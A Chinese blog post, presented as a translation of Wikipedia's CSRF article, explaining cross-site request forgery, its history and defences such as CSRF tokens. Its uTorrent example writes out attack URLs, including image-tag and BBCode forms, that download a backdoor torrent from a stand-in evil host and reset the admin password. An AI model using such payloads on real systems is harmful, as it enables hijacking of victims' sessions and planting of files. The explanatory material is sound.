前端必備HTTP技能之跨站請求偽造(CSRF)技術詳解

跨站請求偽造也被成為單擊攻擊或者會話疊置,簡稱CSRF或者XSRF。是一種惡意利用從網站信任用戶獲取未授權命令的行為。和跨站腳本(XSS)不同,XSS利用的是特定站點信任的用戶,而CSRF利用的是用戶瀏覽器中信任的站點。

歷史
CSRF漏洞從2001年開始被人知道并在某些情況下被人利用。因為它是在用戶IP地址之外執行的,一些站點日志可能沒有記錄CSRF的證據,所以這種漏洞極少被公開報道過,直到2007年,才有一些證據確鑿的例子:

  • 在線銀行[ING Direct](ING Group)的web應用遭受CSRF攻擊,允許非法轉賬。
  • 知名的視頻網站YouTube2008年也遭受過CSRF攻擊,允許攻擊者幾乎可以執行任何用戶操作。
  • 2008年年初墨西哥的一個銀行客戶被email中的圖片tag攻擊。圖片tag中的鏈接改變了銀行ADSL路由上的DNS條目,指向了一個惡意的冒充銀行網站。
  • McAfee被CSRF攻擊,允許攻擊者更改他們公司的電腦系統。

示例和特征
如果攻擊者可以找到一個可復制的鏈接,當受害者登陸的時候,在目標頁面執行特定的動作,他們就可以在他們控制的頁面嵌入這些鏈接,誘使受害者打開這些鏈接。攻擊者可能會把鏈接放在受害者登陸站點時既有可能訪問的地方,或者在郵件體內,郵件附件里面。uTorrent曾發現過一個真實的CSRF漏洞,它的web控制臺允許通過localhost:8080訪問,可以通過簡單的get請求執行一些關鍵任務:
強制下載一個.torrent文件
http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
修改uTorrent的管理員密碼
http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin

攻擊者可以把惡意自動執行代碼放到論壇的image標簽中或者垃圾郵件中,當用戶打開瀏覽器訪問這些頁面時,會自動執行惡意代碼。如果用戶使用的是容易被攻擊的uTorrent版本,那么在打開這些帶有惡意代碼的頁面時,就很容易受到攻擊。
![](http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent)

CSRF攻擊使用image標簽偽造主要來自網絡論壇,因為論壇允許上傳圖片,但不支持js,例如可以使用BBCode:
[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]

當攻擊連接執行example.com時,瀏覽器可以自動發送example.com域下存在的任何cookies到服務端,當攻擊發生時,用戶已經登錄了這個網站,此時CSRF攻擊就可以利用特定漏洞,執行特殊行為。

CSRF是利用瀏覽器發起的代理人攻擊

以下是CSRF常用特征:

  • 涉及網站依賴用戶身份認證
  • 利用身份認證獲取網站信任
  • 欺騙用戶瀏覽器發送HTTP請求到目標站點
  • 涉及的HTTP請求都有副作用

web應用程序的風險就是執行行為是基于信任和授權的用戶輸入,而不需要用戶授權特殊的行為。一個通過瀏覽器cookie授權的用戶可能會不知覺的發送HTTP請求到信任該用戶的網站,然后引起不知情的行為。

在上面的例子中,uTorrent的web接口支持GET請求進行臨界狀態改變操作(修改證書,下載文件等)促進了攻擊,GET請求改變狀態這種行為在RFC16規范中是不推薦的:

GET和HEAD方法不應該有其它行為除了用來獲取數據,這些方法應該被認為是安全的。允許用戶代理使用其它方法,例如POST,PUT和DELETE,這樣用戶才能清楚的知道這個請求是一個不安全的行為。

根據這個假定,許多存在CSRF防御機制的web框架將不會支持GET請求,但是不是僅通過HTTP方法,更多的是關注狀態的改變。

偽造登陸請求
攻擊者可以偽造請求利用攻擊者的認證登陸目標站點,這也成為CSRF登陸。CSRF登陸制造了多種新奇的攻擊可能,例如,攻擊者可以稍后利用他自己的有效憑證登陸站點,瀏覽保存在賬號中的活動頁面上的隱私信息。

HTTP方法和CSRF
不同的HTTP請求方法有不同難易程度的CSRF攻擊,也需要不同等級的防護措施,因為瀏覽器處理不同請求方法的方式不同。

  • 使用HTTP GET方法進行CSRF攻擊是很容易的,使用上文提到的方法,例如一個簡單的包含多個參數的超鏈接,利用image標簽自動加載。然而根據HTTP規范,GET方法應該是一個安全方法,不能明顯的用于更改用戶狀態。應用如果需要這種操作應該使用HTTP POST方法或者使用反CSRF保護。
  • HTTP POST方法對CSRF也有不同難易程度的攻擊方法,主要依賴詳細的使用場景:
    1.對于簡單的將POST數據編碼為查詢字符串的方式,使用HTML表單進行CSRF攻擊是十分簡單的,這時必須使用反CSRF的防護措施;
    2. 如果數據以其他格式(JSON,XML)發送,一個標準的方法是使用XMLHttpRequest進行的POST的請求,這種方式同源策略和跨站資源共享可以阻止CSRF攻擊;有一種技術可以利用一個簡單的HTML表單發送任意內容,那就是使用ENCTYPE屬性;這樣可以利用text/plain內容屬性區分偽造的請求和合法的請求,但是如果服務器沒有強制這種機制,CSRF攻擊仍會發生。
  • 其他的HTTP方法(PUT,DELETE等)可以只通過使用XMLHttpRequest的同源策略和跨站資源共享阻止CSRF攻擊,但是一旦站點設置了Access-Control-Allow-Origin: *頭,這種方法就沒用了。

CSRF的局限性
成功的CSRF需要一些前提條件:

  • 1.攻擊者的目標站點不能有檢查referrer頭的操作,或者被攻擊者的瀏覽器允許referrer欺騙
  • 2.攻擊者必須在目標站點找到一個表單提交入口,或者有類似作用的URL(例如可以用來轉移錢,修改受害者郵件地址或者密碼)。
  • 3.攻擊者必須決定所有表單或者URL參數中正確的值;如果存在秘密的身份驗證值或者ID,攻擊者沒有猜到話,攻擊有很大可能不會成功(除非攻擊者足夠幸運,什么都猜對)。
  • 4.攻擊者必須誘使受害者訪問有惡意代碼的頁面,并且此時受害者已經登錄到目標站點。

注意CSRF攻擊是盲目的,攻擊者不知道目標站點會給受害者的偽造請求返回何種響應,除非攻擊者可以利用跨站腳本或者目標站點的其他缺陷。同樣的,如果后續的鏈接或者表單同樣是可以預測的,那么攻擊可以把任意最初請求之后的鏈接或者表單當成目標(多個目標可以通過在一個頁面包含多個image來模擬或者使用js增加點擊之間的延遲)。

由于上面的這些限制,攻擊者可能很難找到登錄的受害者或者可以攻擊的表單提交。從另一方面來說,攻擊嘗試對受害者來說很容易實施并且不可見,程序設計者可能對CSRF攻擊不太熟悉,也沒有做好準備相比于密碼破解字典攻擊。

預防措施
大多數CSRF預防技術都是通過在請求中加入驗證數據來區分請求是否來自未授權位置。

同步token模式

這種技術就是為每個請求生成一個私密的唯一的token,web程序會在所有的表單中嵌入這個token,然后在服務端驗證。token可以用任何方法創建,但是要確保不可預測和唯一性。這樣的話攻擊者就不能再他們的請求中使用一個正確的token來驗證請求的合法性。

Django框架在html表單中使用的一個例子:
<input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />

由于只依賴HTML,所以這種方法是最具兼容性的,但是也給服務端帶來了一定的復雜度,因為服務端要承擔校驗每個請求的token以確定請求有效性的任務。token是唯一且不可預測的,還需要執行適當的事件序列,帶了可用性問題。可以通過使用session CSRF token來代替使用每個請求的CSRF token來降低復雜度。同時,很難讓web應用大量使用AJAX

Cookie-to-Header Token

web應用使用js來進行大量的操作,可以依賴同源策略使用反CSRF技術:

  • 在登錄的時候,web應用把一個隨機的token塞到cookie中,并且把同樣的token保存在整個用戶session中;
    Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/
  • 客戶端的js讀取到cookie中的token值,把它放在每個事務請求頭中;
    X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • 服務端驗證token的完整性;

這種技術的安全性主要依賴于只有同源下的js才能訪問到cookie值這樣的假定。流氓文件和email中的js不能讀取cookie,然后把cookie中的token放到header中,盡管cookie中的csrf-token會隨偽造請求一起發送,但是服務端仍然會檢查請求頭中是否有有效的X-Csrf-Token。

CSRF token應該是唯一的和不可預測的。它可以隨機產生,或者利用HMAC算法根據session token派生出來。
csrf_token = HMAC(session_token, application_secret)

cookie中的CSRF token設計的時候,必須可以被js讀取到。

這項技術已經被許多現代框架實現,例如DjangoAngularJS。因為token在整個用戶會話期間保持一致,所以在ajax應用中也可以很好的工作,但是不會執行web應用中的事件序列。

客戶端安全措施

瀏覽器插件例如Firefox的RequestPolicy插件,或者Chrome,Firefox的uMatrix插件,都可以通過提供一個默認禁止跨站請求策略來阻止CSRF。然而,當時這樣可能顯著的影響了一些站點的正常操作。Firefox的CsFire插件通過移除跨站請求中身份驗證信息的方式,可以緩解CSRF的影響,同時最低限度影響正常瀏覽。

Firefox的NoScript插件也可以減輕CSRF的威脅通過下面的方式:區分可信和不可信站點;移除授權信息;負載不信任站點發往信任站點的POST請求。NoScript中Application Boundary Enforcer模塊可以阻止網頁發往本地站點(localhost)的請求,阻止本地服務的CSRF,例如上文提到的uTorrent漏洞。

Firefox的cookie自我銷毀插件不會直接阻止CSRF,但是可以減少攻擊窗口,通過用戶切換tab頁時立即刪除tab頁cookie的方式。

其他技術

歷史上使用過的或提出的各種其他阻止CSRF的技術:

  • 驗證請求頭中是否包含X-Requested-With,或者檢查HTTP的Referer頭或者Origin頭。然而這種方式也是不安全的 —— 利用瀏覽器插件和重定向就可以讓攻擊者在請求中添加自定義的HTTP頭,然后就可以允許跨域請求了。
  • 對于嵌入式網絡設備來說通過檢查HTTP的Referer頭的方式來確定請求是否來自授權頁面是一種常用方法,因為這樣不會增加內存需要。然后一個請求如果省略了Referer頭,會被當成未授權的,因為攻擊者可以屏蔽Referer頭,然后通過FTP或者HTTPS發送請求。這種嚴格的Referer檢查可能會導致一個問題就是瀏覽器或者代理由于隱私原因忽略Referer頭。舊版本的Flash允許惡意Flash利用CRLF Injection生成任意HTTP頭的GET或者POST請求。客戶端的CRLF Injection漏洞可以被用來欺騙HTTP請求中的Referer頭。
  • 利用URL參數的POST請求一段時間以來被當做是預防輕微CSRF攻擊的方法。然而,如今POST和其他HTTP方法都可以利用XMLHttpRequest執行。

跨站腳本漏洞允許攻擊者繞過大多數CSRF防御措施,但是帶有附件認證信息和驗證碼驗證的方法仍然是有效的。

做好前端開發必須對HTTP的相關知識有所了解,所以我創建了一個專題前端必備HTTP技能專門收集前端相關的HTTP知識,歡迎關注,投稿。


PS:本文翻譯自維基百科,原文地址https://en.wikipedia.org/wiki/Cross-site_request_forgery

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容